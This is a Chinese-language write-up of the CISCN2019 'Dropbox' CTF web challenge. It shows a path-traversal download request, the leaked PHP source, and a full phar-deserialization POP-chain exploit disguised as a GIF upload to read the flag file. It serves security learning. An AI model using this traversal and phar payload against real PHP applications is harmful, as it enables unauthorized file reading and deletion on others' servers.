CISCN2019 华北赛区 Day1 Web1 Dropbox _0x41-0x4F

题目给出的是一个登录框,并且有注册操作

image-20211028005613695

我们可以先注册个账号登录下

image-20211028005651708

有上传文件的功能,尝试文件上传,发现写死了,只允许图片上传。

那我们先上传个图片看一看

image-20211028005810078

增加了两个功能,下载和删除

抓包来看一看

POST /download.php HTTP/1.1
Host: dffb1d8a-96e3-494b-af51-5369fad440d9.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 26
Origin: http://dffb1d8a-96e3-494b-af51-5369fad440d9.node4.buuoj.cn:81
Connection: close
Referer: http://dffb1d8a-96e3-494b-af51-5369fad440d9.node4.buuoj.cn:81/index.php
Cookie: UM_distinctid=17ba73558f3490-0c95ed277ed4498-4c3f217f-144000-17ba73558f4710; PHPSESSID=ad225e350fb42f426122effecd7c8b7c

filename=w5w.jpg

这里有个关键点filename=w5w.jpg,我们可以尝试将w5w.jpg改为别的文件名称

首先改为 ../../index.php

image-20211028011042791

成功读取到了index.php的源码。

这时候尝试盲猜路径读取flag,并没有什么结果。那就读取下其他源码看一看吧

依次读取了

index.php,download.php,delete.php,class.php

index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>
<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

这个里面没有什么有价值的东西

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

很多函数,最关键的是我们发现了 file_get_contents,这应该是题目的突破点

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

这里可以看到flag被过滤了,所以我们是无法直接读取flag的

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

存在任意文件下载漏洞,相应也存在任意文件删除漏洞。这里的意思不过返回True与False,没有发现什么有用的地方。

接下来我们来审计一下代码。

利用点:

public function close() {
        return file_get_contents($this->filename);
    }

看一下哪些地方调用了close函数

download.php中的

image-20211028011750225

class.php的user类里面存在

image-20211028011814557

这里执行的实际是关闭数据库的操作,但是有趣的是它和我们需要调用的函数重名。

download.php存在过滤,无法使用,所以我们尝试使用class.php中的魔术方法__destruct()来调用

如何调用__destruct()魔术方法呢,也就是如何调用对象呢,必须使用反序列化

但是整个代码中并没有出现过unserialize()这个函数,所以我们并不能直接进行序列化。

这时候就可以利用phar://伪协议,可以不依赖unserialize()直接进行反序列化操作.

关于phar的讲解可以看另外一篇博客:

https://sakurahack-y.github.io/2021/10/27/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

审计代码,我们可以发现一个很有趣的魔术方法:

image-20211028012434528

它在什么时候调用呢?

这个方法用来监视一个对象中的其它方法。如果你试着调用一个对象中不存在的方法,__call 方法将会被自动调用

这里__call的代码的意思就是如果调用的对象不存在,就会把这个函数写入$this->funcs,并且遍历文件,让每一个文件执行一遍这个函数。

因此我们的思路就清晰了一点。

首先反序列化一个类,这个类不存在close()方法(如果存在的话就不需要这么复杂了),然后对这个类调用close()方法,因为它不存在,所以会调用__call魔术方法,call魔术方法就可以调用close方法,从而完成file_get_contents函数的利用。

所以操作就是:

反序列化$user

调用完成,对象被销毁时,调用函数__destruct魔术方法

image-20211028011814557

使$user -> db = FileList()

FileList这个类调用close(),不存在,调用__call方法,调用close()

接下来就可以来构建pop链:

<?php
class User {
public $db;
public function __construct() {
        $this->db = new FileList();
    }
}
class FileList {
    
    private $files;
    private $results;
    private $funcs;
    public function __construct() {
        $this->files = array(new File());
        $this->results = array();
        $this->funcs = array();
    
}
}

class File {
    public $filename = '/flag.txt';
}

$user = new User;

@unlink("sakura.phar");

$phar = new Phar("sakura.phar"); //后缀名必须为phar

$phar->startBuffering(); //开始缓冲 Phar 写操作

$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub

$phar->setMetadata($user); //将自定义的meta-data存入manifest

$phar->addFromString("sakura.txt", "sakura"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

?>

运行得到sakura.phar文件,修改后缀为sakura.jpg,上传

image-20211028014454461

image-20211028014549020

访问delete.php

注意为什么不访问download.php来实行攻击?

这里要注意一个细节:

download.php中存在

image-20211028014231785

ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”); 这个函数执行后,我们通过Web只能访问当前目录、/etc和/tmp三个目录,所以只能在delete.php中利用payload,而不是download.php,否则访问不到沙箱内的上传目录。

访问delete.php,使用phar进行反序列化,成功得到flag

image-20211028014632248